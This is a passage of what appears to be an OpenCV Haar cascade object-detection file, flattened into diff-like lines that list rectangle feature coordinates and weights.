24 9 -1. + <_> + 8 12 8 9 3. + <_> + + <_> + 6 0 13 8 -1. + <_> + 6 4 13 4 2. + <_> + + <_> + 0 0 24 3 -1. + <_> + 0 1 24 1 3. + <_> + + <_> + 20 3 4 11 -1. + <_> + 20 3 2 11 2. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 6 11 12 8 -1. + <_> + 12 11 6 4 2. + <_> + 6 15 6 4 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 20 3 4 9 -1. + <_> + 20 3 2 9 2. + <_> + + <_> + 0 3 4 9 -1. + <_> + 2 3 2 9 2. + <_> + + <_> + 15 0 9 19 -1. + <_> + 18 0 3 19 3. + <_> + + <_> + 0 0 9 19 -1. + <_> + 3 0 3 19 3. + <_> + + <_> + 13 11 6 8 -1. + <_> + 13 11 3 8 2. + <_> + + <_> + 5 11 6 8 -1. + <_> + 8 11 3 8 2. + <_> + + <_> + 5 11 19 3 -1. + <_> + 5 12 19 1 3. + <_> + + <_> + 3 20 18 4 -1. + <_> + 9 20 6 4 3. + <_> + + <_> + 6 6 16 6 -1. + <_> + 6 8 16 2 3. + <_> + + <_> + 6 0 9 6 -1. + <_> + 9 0 3 6 3. + <_> + + <_> + 10 3 4 14 -1. + <_> + 10 10 4 7 2. + <_> + + <_> + 1 5 15 12 -1. + <_> + 1 11 15 6 2. + <_> + + <_> + 11 12 8 5 -1. + <_> + 11 12 4 5 2. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 5 5 12 8 -1. + <_> + 5 5 6 4 2. + <_> + 11 9 6 4 2. + <_> + + <_> + 13 12 11 6 -1. + <_> + 13 14 11 2 3. + <_> + + <_> + 0 13 21 3 -1. + <_> + 0 14 21 1 3. + <_> + + <_> + 8 1 8 12 -1. + <_> + 12 1 4 6 2. + <_> + 8 7 4 6 2. + <_> + + <_> + 1 0 6 12 -1. + <_> + 1 0 3 6 2. + <_> + 4 6 3 6 2. + <_> + + <_> + 2 2 21 2 -1. + <_> + 2 3 21 1 2. + <_> + + <_> + 2 2 19 3 -1. + <_> + 2 3 19 1 3. + <_> + + <_> + 17 10 6 14 -1. + <_> + 20 10 3 7 2. + <_> + 17 17 3 7 2. + <_> + + <_> + 1 10 6 14 -1. + <_> + 1 10 3 7 2. + <_> + 4 17 3 7 2. + <_> + + <_> + 7 6 14 14 -1. + <_> + 14 6 7 7 2. + <_> + 7 13 7 7 2. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 15 14 8 9 -1. + <_> + 15 17 8 3 3. + <_> + + <_> + 1 1 22 4 -1. + <_> + 1 1 11 2 2. + <_> + 12 3 11 2 2. + <_> + + <_> + 9 11 9 6 -1. + <_> + 9 13 9 2 3. + <_> + + <_> + 0 15 18 3 -1. + <_> + 0 16 18 1 3. + <_> + + <_> + 16 14 7 9 -1. + <_> + 16 17 7 3 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 12 3 8 4 2. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 9 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 12 1 4 10 -1. + <_> + 12 1 2 10 2. + <_> + + <_> + 8 1 4 10 -1. + <_> + 10 1 2 10 2. + <_> + + <_> + 15 15 6 9 -1. + <_> + 15 18 6 3 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 15 1 3 19 -1. + <_> + 16 1 1 19 3. + <_> + + <_> + 1 3 6 9 -1. + <_> + 3 3 2 9 3. + <_> + + <_> + 15 0 3 19 -1. + <_> + 16 0 1 19 3. + <_> + + <_> + 6 3 12 4 -1. + <_> + 12 3 6 4 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 10 5 2 9 2. + <_> + + <_> + 6 0 3 19 -1. + <_> + 7 0 1 19 3. + <_> + + <_> + 11 1 3 12 -1. + <_> + 11 7 3 6 2. + <_> + + <_> + 6 7 10 5 -1. + <_> + 11 7 5 5 2. + <_> + + <_> + 11 3 3 18 -1. + <_> + 12 3 1 18 3. + <_> + + <_> + 9 3 6 12 -1. + <_> + 11 3 2 12 3. + <_> + + <_> + 3 7 19 3 -1. + <_> + 3 8 19 1 3. + <_> + + <_> + 2 7 18 3 -1. + <_> + 2 8 18 1 3. + <_> + + <_> + 3 13 18 4 -1. + <_> + 12 13 9 2 2. + <_> + 3 15 9 2 2. + <_> + + <_> + 3 5 6 9 -1. + <_> + 5 5 2 9 3. + <_> + + <_> + 4 1 20 4 -1. + <_> + 14 1 10 2 2. + <_> + 4 3 10 2 2. + <_> + + <_> + 0 1 20 4 -1. + <_> + 0 1 10 2 2. + <_> + 10 3 10 2 2. + <_> + + <_> + 10 15 6 6 -1. + <_> + 10 15 3 6 2. + <_> + + <_> + 0 2 24 8 -1. + <_> + 8 2 8 8 3. + <_> + + <_> + 5 5 18 3 -1. + <_> + 5 6 18 1 3. + <_> + + <_> + 8 15 6 6 -1. + <_> + 11 15 3 6 2. + <_> + + <_> + 11 12 8 5 -1. + <_> + 11 12 4 5 2. + <_> + + <_> + 5 12 8 5 -1. + <_> + 9 12 4 5 2. + <_> + + <_> + 5 0 14 6 -1. + <_> + 5 2 14 2 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 10 7 5 12 -1. + <_> + 10 11 5 4 3. + <_> + + <_> + 7 9 8 14 -1. + <_> + 7 9 4 7 2. + <_> + 11 16 4 7 2. + <_> + + <_> + 1 5 22 6 -1. + <_> + 12 5 11 3 2. + <_> + 1 8 11 3 2. + <_> + + <_> + 0 5 6 6 -1. + <_> + 0 8 6 3 2. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 2 18 19 3 -1. + <_> + 2 19 19 1 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 0 0 24 3 -1. + <_> + 0 1 24 1 3. + <_> + + <_> + 5 0 14 4 -1. + <_> + 5 2 14 2 2. + <_> + + <_> + 6 14 9 6 -1. + <_> + 6 16 9 2 3. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 5 20 13 4 -1. + <_> + 5 22 13 2 2. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 1 10 21 3 -1. + <_> + 8 10 7 3 3. + <_> + + <_> + 8 8 9 6 -1. + <_> + 11 8 3 6 3. + <_> + + <_> + 3 10 9 7 -1. + <_> + 6 10 3 7 3. + <_> + + <_> + 12 10 10 8 -1. + <_> + 17 10 5 4 2. + <_> + 12 14 5 4 2. + <_> + + <_> + 0 15 24 3 -1. + <_> + 8 15 8 3 3. + <_> + + <_> + 8 5 9 6 -1. + <_> + 8 7 9 2 3. + <_> + + <_> + 4 13 6 9 -1. + <_> + 4 16 6 3 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 9 12 6 6 -1. + <_> + 9 15 6 3 2. + <_> + + <_> + 9 9 14 10 -1. + <_> + 16 9 7 5 2. + <_> + 9 14 7 5 2. + <_> + + <_> + 1 9 14 10 -1. + <_> + 1 9 7 5 2. + <_> + 8 14 7 5 2. + <_> + + <_> + 8 7 9 17 -1. + <_> + 11 7 3 17 3. + <_> + + <_> + 3 4 6 20 -1. + <_> + 3 4 3 10 2. + <_> + 6 14 3 10 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 10 7 4 9 -1. + <_> + 12 7 2 9 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 3 8 6 16 -1. + <_> + 3 8 3 8 2. + <_> + 6 16 3 8 2. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 3 17 9 4 -1. + <_> + 3 19 9 2 2. + <_> + + <_> + 10 1 9 6 -1. + <_> + 13 1 3 6 3. + <_> + + <_> + 5 7 4 10 -1. + <_> + 5 12 4 5 2. + <_> + + <_> + 7 5 12 6 -1. + <_> + 11 5 4 6 3. + <_> + + <_> + 6 4 9 8 -1. + <_> + 9 4 3 8 3. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 0 0 24 4 -1. + <_> + 12 0 12 2 2. + <_> + 0 2 12 2 2. + <_> + + <_> + 0 6 9 6 -1. + <_> + 0 8 9 2 3. + <_> + + <_> + 0 4 24 6 -1. + <_> + 12 4 12 3 2. + <_> + 0 7 12 3 2. + <_> + + <_> + 5 0 11 4 -1. + <_> + 5 2 11 2 2. + <_> + + <_> + 1 1 22 4 -1. + <_> + 12 1 11 2 2. + <_> + 1 3 11 2 2. + <_> + + <_> + 9 6 6 18 -1. + <_> + 9 15 6 9 2. + <_> + + <_> + 2 9 20 4 -1. + <_> + 2 11 20 2 2. + <_> + + <_> + 5 2 14 14 -1. + <_> + 5 9 14 7 2. + <_> + + <_> + 4 2 16 6 -1. + <_> + 4 5 16 3 2. + <_> + + <_> + 2 3 19 3 -1. + <_> + 2 4 19 1 3. + <_> + + <_> + 7 1 10 4 -1. + <_> + 7 3 10 2 2. + <_> + + <_> + 0 9 4 15 -1. + <_> + 0 14 4 5 3. + <_> + + <_> + 2 10 21 3 -1. + <_> + 2 11 21 1 3. + <_> + + <_> + 3 0 6 6 -1. + <_> + 6 0 3 6 2. + <_> + + <_> + 6 4 14 9 -1. + <_> + 6 7 14 3 3. + <_> + + <_> + 9 1 6 9 -1. + <_> + 11 1 2 9 3. + <_> + + <_> + 15 8 9 9 -1. + <_> + 15 11 9 3 3. + <_> + + <_> + 8 0 4 21 -1. + <_> + 8 7 4 7 3. + <_> + + <_> + 3 22 19 2 -1. + <_> + 3 23 19 1 2. + <_> + + <_> + 2 15 20 3 -1. + <_> + 2 16 20 1 3. + <_> + + <_> + 19 0 4 13 -1. + <_> + 19 0 2 13 2. + <_> + + <_> + 1 7 8 8 -1. + <_> + 1 11 8 4 2. + <_> + + <_> + 14 14 6 9 -1. + <_> + 14 17 6 3 3. + <_> + + <_> + 4 14 6 9 -1. + <_> + 4 17 6 3 3. + <_> + + <_> + 14 5 4 10 -1. + <_> + 14 5 2 10 2. + <_> + + <_> + 6 5 4 10 -1. + <_> + 8 5 2 10 2. + <_> + + <_> + 14 5 6 6 -1. + <_> + 14 8 6 3 2. + <_> + + <_> + 4 5 6 6 -1. + <_> + 4 8 6 3 2. + <_> + + <_> + 0 2 24 21 -1. + <_> + 8 2 8 21 3. + <_> + + <_> + 1 2 6 13 -1. + <_> + 3 2 2 13 3. + <_> + + <_> + 20 0 4 21 -1. + <_> + 20 0 2 21 2. + <_> + + <_> + 0 4 4 20 -1. + <_> + 2 4 2 20 2. + <_> + + <_> + 8 16 9 6 -1. + <_> + 8 18 9 2 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 16 12 7 9 -1. + <_> + 16 15 7 3 3. + <_> + + <_> + 5 21 14 3 -1. + <_> + 12 21 7 3 2. + <_> + + <_> + 11 5 6 9 -1. + <_> + 11 5 3 9 2. + <_> + + <_> + 10 5 4 10 -1. + <_> + 12 5 2 10 2. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 7 5 6 9 -1. + <_> + 10 5 3 9 2. + <_> + + <_> + 14 14 10 4 -1. + <_> + 14 16 10 2 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 5 5 7 7 2. + <_> + 12 12 7 7 2. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 6 6 12 12 -1. + <_> + 6 6 6 6 2. + <_> + 12 12 6 6 2. + <_> + + <_> + 11 13 6 10 -1. + <_> + 13 13 2 10 3. + <_> + + <_> + 1 10 20 8 -1. + <_> + 1 10 10 4 2. + <_> + 11 14 10 4 2. + <_> + + <_> + 15 13 9 6 -1. + <_> + 15 15 9 2 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 9 3 6 3 3. + <_> + + <_> + 10 1 5 14 -1. + <_> + 10 8 5 7 2. + <_> + + <_> + 3 4 16 6 -1. + <_> + 3 6 16 2 3. + <_> + + <_> + 16 3 8 9 -1. + <_> + 16 6 8 3 3. + <_> + + <_> + 7 13 6 10 -1. + <_> + 9 13 2 10 3. + <_> + + <_> + 15 13 9 6 -1. + <_> + 15 15 9 2 3. + <_> + + <_> + 0 13 9 6 -1. + <_> + 0 15 9 2 3. + <_> + + <_> + 13 16 9 6 -1. + <_> + 13 18 9 2 3. + <_> + + <_> + 2 16 9 6 -1. + <_> + 2 18 9 2 3. + <_> + + <_> + 5 16 18 3 -1. + <_> + 5 17 18 1 3. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 5 0 18 3 -1. + <_> + 5 1 18 1 3. + <_> + + <_> + 1 1 19 2 -1. + <_> + 1 2 19 1 2. + <_> + + <_> + 14 2 6 11 -1. + <_> + 16 2 2 11 3. + <_> + + <_> + 4 15 15 6 -1. + <_> + 9 15 5 6 3. + <_> + + <_> + 14 2 6 11 -1. + <_> + 16 2 2 11 3. + <_> + + <_> + 4 2 6 11 -1. + <_> + 6 2 2 11 3. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 1 2 22 4 -1. + <_> + 1 2 11 2 2. + <_> + 12 4 11 2 2. + <_> + + <_> + 2 0 21 12 -1. + <_> + 9 0 7 12 3. + <_> + + <_> + 0 12 18 3 -1. + <_> + 0 13 18 1 3. + <_> + + <_> + 12 2 6 9 -1. + <_> + 14 2 2 9 3. + <_> + + <_> + 3 10 18 3 -1. + <_> + 3 11 18 1 3. + <_> + + <_> + 16 3 8 9 -1. + <_> + 16 6 8 3 3. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 9 11 6 9 -1. + <_> + 11 11 2 9 3. + <_> + + <_> + 9 8 6 9 -1. + <_> + 11 8 2 9 3. + <_> + + <_> + 15 0 2 18 -1. + <_> + 15 0 1 18 2. + <_> + + <_> + 7 0 2 18 -1. + <_> + 8 0 1 18 2. + <_> + + <_> + 17 3 7 9 -1. + <_> + 17 6 7 3 3. + <_> + + <_> + 3 18 9 6 -1. + <_> + 3 20 9 2 3. + <_> + + <_> + 3 18 21 3 -1. + <_> + 3 19 21 1 3. + <_> + + <_> + 0 3 7 9 -1. + <_> + 0 6 7 3 3. + <_> + + <_> + 2 7 22 3 -1. + <_> + 2 8 22 1 3. + <_> + + <_> + 0 3 24 16 -1. + <_> + 0 3 12 8 2. + <_> + 12 11 12 8 2. + <_> + + <_> + 13 17 9 4 -1. + <_> + 13 19 9 2 2. + <_> + + <_> + 5 5 12 8 -1. + <_> + 5 5 6 4 2. + <_> + 11 9 6 4 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 5 16 14 6 -1. + <_> + 5 16 7 3 2. + <_> + 12 19 7 3 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 3 4 20 10 -1. + <_> + 13 4 10 5 2. + <_> + 3 9 10 5 2. + <_> + + <_> + 2 13 9 8 -1. + <_> + 5 13 3 8 3. + <_> + + <_> + 2 1 21 15 -1. + <_> + 9 1 7 15 3. + <_> + + <_> + 5 12 14 8 -1. + <_> + 12 12 7 8 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 6 7 6 4 2. + <_> + + <_> + 6 5 9 6 -1. + <_> + 9 5 3 6 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 6 4 18 2 -1. + <_> + 6 5 18 1 2. + <_> + + <_> + 0 2 6 11 -1. + <_> + 2 2 2 11 3. + <_> + + <_> + 18 0 6 15 -1. + <_> + 20 0 2 15 3. + <_> + + <_> + 0 0 6 13 -1. + <_> + 2 0 2 13 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 3 13 18 4 -1. + <_> + 12 13 9 4 2. + <_> + + <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 8 12 3 -1. + <_> + 11 8 6 3 2. + <_> + + <_> + 4 14 19 3 -1. + <_> + 4 15 19 1 3. + <_> + + <_> + 10 0 4 20 -1. + <_> + 10 10 4 10 2. + <_> + + <_> + 8 15 9 6 -1. + <_> + 8 17 9 2 3. + <_> + + <_> + 2 9 15 4 -1. + <_> + 7 9 5 4 3. + <_> + + <_> + 8 4 12 7 -1. + <_> + 12 4 4 7 3. + <_> + + <_> + 0 10 6 9 -1. + <_> + 0 13 6 3 3. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 0 18 16 6 -1. + <_> + 0 18 8 3 2. + <_> + 8 21 8 3 2. + <_> + + <_> + 9 18 14 6 -1. + <_> + 16 18 7 3 2. + <_> + 9 21 7 3 2. + <_> + + <_> + 1 20 20 4 -1. + <_> + 1 20 10 2 2. + <_> + 11 22 10 2 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 12 8 10 3 2. + <_> + 2 11 10 3 2. + <_> + + <_> + 7 8 6 9 -1. + <_> + 9 8 2 9 3. + <_> + + <_> + 8 5 12 8 -1. + <_> + 12 5 4 8 3. + <_> + + <_> + 4 5 12 8 -1. + <_> + 8 5 4 8 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 2 0 6 16 -1. + <_> + 4 0 2 16 3. + <_> + + <_> + 15 4 6 12 -1. + <_> + 15 8 6 4 3. + <_> + + <_> + 3 4 6 12 -1. + <_> + 3 8 6 4 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 4 0 15 22 -1. + <_> + 4 11 15 11 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 10 0 8 10 -1. + <_> + 14 0 4 5 2. + <_> + 10 5 4 5 2. + <_> + + <_> + 1 0 4 16 -1. + <_> + 3 0 2 16 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 10 12 4 10 -1. + <_> + 10 17 4 5 2. + <_> + + <_> + 8 4 10 6 -1. + <_> + 8 6 10 2 3. + <_> + + <_> + 3 22 18 2 -1. + <_> + 12 22 9 2 2. + <_> + + <_> + 7 7 11 6 -1. + <_> + 7 9 11 2 3. + <_> + + <_> + 0 0 12 10 -1. + <_> + 0 0 6 5 2. + <_> + 6 5 6 5 2. + <_> + + <_> + 10 1 12 6 -1. + <_> + 16 1 6 3 2. + <_> + 10 4 6 3 2. + <_> + + <_> + 7 16 9 4 -1. + <_> + 7 18 9 2 2. + <_> + + <_> + 5 7 15 16 -1. + <_> + 10 7 5 16 3. + <_> + + <_> + 5 10 12 13 -1. + <_> + 11 10 6 13 2. + <_> + + <_> + 6 2 12 6 -1. + <_> + 12 2 6 3 2. + <_> + 6 5 6 3 2. + <_> + + <_> + 3 9 12 9 -1. + <_> + 3 12 12 3 3. + <_> + + <_> + 16 2 8 6 -1. + <_> + 16 5 8 3 2. + <_> + + <_> + 0 2 8 6 -1. + <_> + 0 5 8 3 2. + <_> + + <_> + 0 3 24 11 -1. + <_> + 0 3 12 11 2. + <_> + + <_> + 0 13 8 10 -1. + <_> + 0 13 4 5 2. + <_> + 4 18 4 5 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 10 2 4 21 -1. + <_> + 10 9 4 7 3. + <_> + + <_> + 4 4 15 9 -1. + <_> + 4 7 15 3 3. + <_> + + <_> + 0 1 24 6 -1. + <_> + 8 1 8 6 3. + <_> + + <_> + 9 6 5 16 -1. + <_> + 9 14 5 8 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 6 5 3 12 -1. + <_> + 6 11 3 6 2. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 5 6 9 8 -1. + <_> + 8 6 3 8 3. + <_> + + <_> + 4 3 20 2 -1. + <_> + 4 4 20 1 2. + <_> + + <_> + 2 10 18 3 -1. + <_> + 8 10 6 3 3. + <_> + + <_> + 7 15 10 6 -1. + <_> + 7 17 10 2 3. + <_> + + <_> + 1 4 4 18 -1. + <_> + 1 4 2 9 2. + <_> + 3 13 2 9 2. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 6 7 9 6 -1. + <_> + 9 7 3 6 3. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 0 10 20 4 -1. + <_> + 0 10 10 2 2. + <_> + 10 12 10 2 2. + <_> + + <_> + 10 2 4 12 -1. + <_> + 10 8 4 6 2. + <_> + + <_> + 6 5 6 12 -1. + <_> + 6 5 3 6 2. + <_> + 9 11 3 6 2. + <_> + + <_> + 6 0 18 22 -1. + <_> + 15 0 9 11 2. + <_> + 6 11 9 11 2. + <_> + + <_> + 0 0 18 22 -1. + <_> + 0 0 9 11 2. + <_> + 9 11 9 11 2. + <_> + + <_> + 18 2 6 11 -1. + <_> + 20 2 2 11 3. + <_> + + <_> + 0 2 6 11 -1. + <_> + 2 2 2 11 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 0 20 3 -1. + <_> + 0 1 20 1 3. + <_> + + <_> + 2 2 20 2 -1. + <_> + 2 3 20 1 2. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 18 7 6 9 -1. + <_> + 18 10 6 3 3. + <_> + + <_> + 0 0 22 9 -1. + <_> + 0 3 22 3 3. + <_> + + <_> + 17 3 6 9 -1. + <_> + 17 6 6 3 3. + <_> + + <_> + 0 7 6 9 -1. + <_> + 0 10 6 3 3. + <_> + + <_> + 0 6 24 6 -1. + <_> + 0 8 24 2 3. + <_> + + <_> + 0 2 6 10 -1. + <_> + 2 2 2 10 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 15 0 6 9 -1. + <_> + 17 0 2 9 3. + <_> + + <_> + 3 0 6 9 -1. + <_> + 5 0 2 9 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 0 15 23 6 -1. + <_> + 0 17 23 2 3. + <_> + + <_> + 5 15 18 3 -1. + <_> + 5 16 18 1 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 3 7 15 6 -1. + <_> + 8 7 5 6 3. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 5 0 6 12 -1. + <_> + 8 0 3 12 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 8 5 6 9 -1. + <_> + 10 5 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 5 7 12 4 -1. + <_> + 11 7 6 4 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 7 8 8 10 -1. + <_> + 7 8 4 5 2. + <_> + 11 13 4 5 2. + <_> + + <_> + 11 10 6 14 -1. + <_> + 14 10 3 7 2. + <_> + 11 17 3 7 2. + <_> + + <_> + 9 5 6 19 -1. + <_> + 12 5 3 19 2. + <_> + + <_> + 6 12 12 6 -1. + <_> + 12 12 6 3 2. + <_> + 6 15 6 3 2. + <_> + + <_> + 1 9 18 6 -1. + <_> + 1 9 9 3 2. + <_> + 10 12 9 3 2. + <_> + + <_> + 16 14 8 10 -1. + <_> + 20 14 4 5 2. + <_> + 16 19 4 5 2. + <_> + + <_> + 0 9 22 8 -1. + <_> + 0 9 11 4 2. + <_> + 11 13 11 4 2. + <_> + + <_> + 8 18 12 6 -1. + <_> + 14 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 0 6 20 18 -1. + <_> + 0 6 10 9 2. + <_> + 10 15 10 9 2. + <_> + + <_> + 3 6 20 12 -1. + <_> + 13 6 10 6 2. + <_> + 3 12 10 6 2. + <_> + + <_> + 0 16 10 8 -1. + <_> + 0 16 5 4 2. + <_> + 5 20 5 4 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 11 19 3 -1. + <_> + 0 12 19 1 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 1 7 22 4 -1. + <_> + 1 7 11 2 2. + <_> + 12 9 11 2 2. + <_> + + <_> + 13 6 7 12 -1. + <_> + 13 10 7 4 3. + <_> + + <_> + 4 7 11 9 -1. + <_> + 4 10 11 3 3. + <_> + + <_> + 12 10 10 8 -1. + <_> + 17 10 5 4 2. + <_> + 12 14 5 4 2. + <_> + + <_> + 2 12 9 7 -1. + <_> + 5 12 3 7 3. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 3 12 6 12 -1. + <_> + 3 16 6 4 3. + <_> + + <_> + 14 13 6 6 -1. + <_> + 14 16 6 3 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 9 1 6 23 -1. + <_> + 11 1 2 23 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 4 17 18 3 -1. + <_> + 4 18 18 1 3. + <_> + + <_> + 5 2 13 14 -1. + <_> + 5 9 13 7 2. + <_> + + <_> + 15 0 8 12 -1. + <_> + 19 0 4 6 2. + <_> + 15 6 4 6 2. + <_> + + <_> + 0 0 8 12 -1. + <_> + 0 0 4 6 2. + <_> + 4 6 4 6 2. + <_> + + <_> + 8 2 8 7 -1. + <_> + 8 2 4 7 2. + <_> + + <_> + 1 1 6 9 -1. + <_> + 3 1 2 9 3. + <_> + + <_> + 14 8 6 12 -1. + <_> + 17 8 3 6 2. + <_> + 14 14 3 6 2. + <_> + + <_> + 4 8 6 12 -1. + <_> + 4 8 3 6 2. + <_> + 7 14 3 6 2. + <_> + + <_> + 16 5 5 15 -1. + <_> + 16 10 5 5 3. + <_> + + <_> + 3 5 5 15 -1. + <_> + 3 10 5 5 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 1 7 6 15 -1. + <_> + 1 12 6 5 3. + <_> + + <_> + 11 15 12 8 -1. + <_> + 17 15 6 4 2. + <_> + 11 19 6 4 2. + <_> + + <_> + 0 2 24 4 -1. + <_> + 0 2 12 2 2. + <_> + 12 4 12 2 2. + <_> + + <_> + 15 1 2 19 -1. + <_> + 15 1 1 19 2. + <_> + + <_> + 7 1 2 19 -1. + <_> + 8 1 1 19 2. + <_> + + <_> + 22 1 2 20 -1. + <_> + 22 1 1 20 2. + <_> + + <_> + 0 1 2 20 -1. + <_> + 1 1 1 20 2. + <_> + + <_> + 18 11 6 12 -1. + <_> + 20 11 2 12 3. + <_> + + <_> + 0 11 6 12 -1. + <_> + 2 11 2 12 3. + <_> + + <_> + 3 6 18 14 -1. + <_> + 3 13 18 7 2. + <_> + + <_> + 6 10 7 8 -1. + <_> + 6 14 7 4 2. + <_> + + <_> + 7 9 12 12 -1. + <_> + 7 13 12 4 3. + <_> + + <_> + 2 18 18 5 -1. + <_> + 11 18 9 5 2. + <_> + + <_> + 4 21 20 3 -1. + <_> + 4 22 20 1 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 12 3 6 2. + <_> + 12 18 3 6 2. + <_> + + <_> + 4 6 18 3 -1. + <_> + 4 